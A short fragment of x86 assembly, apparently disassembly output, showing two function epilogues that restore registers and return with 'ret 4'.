mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
mov esp, ebp
pop ebp
ret 4